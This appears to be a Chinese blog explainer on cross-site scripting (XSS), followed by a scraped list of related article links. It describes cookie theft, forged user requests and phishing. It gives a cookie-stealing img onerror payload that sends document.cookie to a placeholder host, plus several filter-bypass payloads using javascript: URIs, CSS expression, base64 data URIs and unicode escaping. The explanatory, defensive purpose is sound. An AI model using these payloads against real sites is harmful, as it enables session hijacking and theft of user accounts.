XSS(Cross Site Script)跨站脚本攻击。是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时,嵌入其中的HTML代码会被执行,从而达到攻击的特殊目的。

常见的有:

  • 盗取cookie。
    最简单的比如提交一个图片"<img src="x" οnerrοr="window.open(http://xxx.com/getcookie.php?c='+document.cookie)" />"。假如session没有ip绑定的话,在盗取cookie后,还可以伪造cookie,进行session欺骗。
  • 模拟用户操作。
    只要事先查看了服务器接口的格式,就可以伪造各种数据,当用户浏览页面时,自动以该用户的名义将数据提交到服务器。比如服务器有一个接口叫changeInfo,参数是info,我们只要将一段post代码放到img的onerror里面,这样每个浏览网页的用户的信息都修改成了你想要的。
  • 钓鱼攻击。
    在注入的代码中,重写本页内容或弹出对话框,要求用户输入诸如用户密码之类的信息。

其核心点在于注入,就是通过各种不同的方式,通过对网站提交一些特殊的数据,或者网站页面中本身就故意包含一些代码,使得页面能自动执行一些我们预想的操作或者屏蔽掉一些页面本身的内容。

我们为了防止执行用户直接在某些输入字段里直接提交'<script>alert(1)</script>'或'xxx-->'及'<!--xxx'这样的代码,在服务器端一般都会用htmlentities之类的转义函数来避免执行。但仅仅这是不够的,因为这仅仅处理了html转义的问题,仅避免了'<script>'这一类的注入方式,可以通过多种手段绕过,如:

  • <img src="x" οnerrοr="alert('ah ha!')" />
  • <meta http-equiv="refresh" content="0;url=javascript:alert('ah ha ha!');">
  • <img src="javascript:alert('ah ha ha ha!');">
  • <font style='color:expression(alert('ah ha ha ha ha!'))'>

以上的写法比较直白,一看就知道干坏事的,我们还可以通过一些手段进行伪装,例如引用外部js,或者利用各种转义,插入不可见字符,及一些hack手段。个人认为最隐蔽的是在css中进行注入,因为css中的一些样式是支持javascript:伪协议的,然后又支持Unicode以及base64编码,这比html中的实体转义更隐蔽,如:

  • <img src=javascript:alert('XSS')>
  • <img src="jav ascript:alert('XSS');">
    是tab制表符的转义,更简单的<img src="jav    ascript:alert('XSS');">
  • <meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  • <div style="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

无处不在的xss攻击相关推荐

  1. 安全测试之xss攻击和mysql注入

    xss概念: xss(Cross Site Script)跨站脚本攻击,为不和层叠样式表(css)混淆,写为xss 存在位置:web应用系统最常见软件安全漏洞 后果:代码植入到系统页面,篡改数据.盗取 ...

  2. vue 如何防止xss攻击 框架_LearningNotes-1/Vue/Vue中防止XSS脚本攻击 at master · axuu/LearningNotes-1 · GitHub...

    Vue中防止XSS脚本攻击 最近写了一个博客评论模块,因为引入了表情包,所以就将原来的v-text的形式,改成了v-html,也就是渲染html标签,但是这样不可不免的会带来问题,就是XSS跨站脚本攻 ...

  3. 安全测试之XSS攻击

    XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS.是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码 ...

  4. AntiXSS - 支持Html同时防止XSS攻击

    跨站脚本攻击(XSS)已经不是什么新鲜的话题了,甚至很多大公司也为此吃尽苦头.最简单直接的防范方法,就是不允许任何html标签输入,对用户输入进行编码(htmlencode). 但是如果想用户输入支持 ...

  5. 如何php防止XSS攻击

    什么是XSS:这里通俗的讲,就像是SQL注入一样,XSS攻击也可以算是对HTML和JS的一种注入.你本来希望得到是从用户那得到一段有用的文本文字,但用户提交给你的却是别有用心的可执行javascrip ...

  6. 使用 PHP 构建的 Web 应用如何避免 XSS 攻击

    本文首先简单介绍开发测试人员如何对 Web 应用进行 XSS 漏洞测试,如何借助工具绕过客户端 JavaScript 校验输入恶意数据:然后针对使用 PHP 语言构建的 Web 站点,从在输出端对动态 ...

  7. 【原创】腾讯微博的XSS攻击漏洞

    相信大家都知道新浪微博在6月28日发生的XSS攻击事件了吧?在那晚里,大量新浪微博用户自动发送微博信息和自动关注一名叫"hellosamy"的用户. 究竟XSS攻击为什么能有这么大 ...

  8. html获取cookie_知了汇智《XSS攻击-盗取cookie实战》课程文档讲解

    文章来源:知了汇智冯老师 今天是<web安全-XSS攻击>系列的最后一篇啦,希望大家好好学习哦~ XSS之 知了汇智-禁卫实验室(GoDun.F) 1. 编写获取cookie的代码cook ...

  9. react textarea 空格为什么不换行_React 怎么实现预防XSS 攻击的

    本文首发于政采云前端团队博客:浅谈 React 中的 XSS 攻击 https://www.zoo.team/article/xss-in-react 前言 前端一般会面临 XSS 这样的安全风险,但 ...

最新文章

  1. python pip全称_Python pip 安装与使用
  2. Raspberry Config.txt 介绍
  3. 阿里云科学家入选计算机顶会 HPCA 名人堂,他是什么来头?
  4. 程序员平均年薪 70 万、40 岁后收入下滑?尽在 2019 程序员薪资报告
  5. 用visio制作机柜服务器,ibm visio 服务器机柜图标
  6. ubuntu 18.04 LTS 安装SecureCRT
  7. 分布式团队中沟通引发的问题, itest 解决之道
  8. 充电枪cp信号控制板_比亚迪E5无法交流充电故障检修
  9. spring事务的传播属性和事务隔离级别及配置事务(注解方式)
  10. java面经_Java面经
  11. windows下安装Linux(Ubuntu)系统
  12. 基于51单片机的16键电子琴音乐盒仿真原理图方案设计
  13. 去除MacBook屏幕下方的白条
  14. matlab 系统找不到指定路径
  15. CCF中学生计算机程序设计入门篇练习题讲解
  16. 无毛刺时钟切换(glitch free clock switching)
  17. 多线程有几种实现方法?同步有几种实现方法
  18. 2021年,我们 CSDN App做了什么?
  19. 王杰律师代理北京奥索克体育用品公司诉淘宝(中国)软件有限公司及李某案
  20. Java中访问修饰符public、private、protect、default访问范围

热门文章

  1. 信息学奥赛一本通(2024:【例4.10】末两位数)
  2. 信息学奥赛C++语言:切蛋糕
  3. 34 MM配置-采购-采购订单-定义凭证类型
  4. 17 CO配置-控制-产品成本控制-产品成本计划编制-定义成本核算类型
  5. 3.12 SE11创建锁对象
  6. STM32那点事(4)_DMA(下)
  7. saveOrUpdate的使用
  8. CSS3-新增属性选择器
  9. MUI - 自动轮播图 实现
  10. 来客推仿拼多多电商商城小程序源码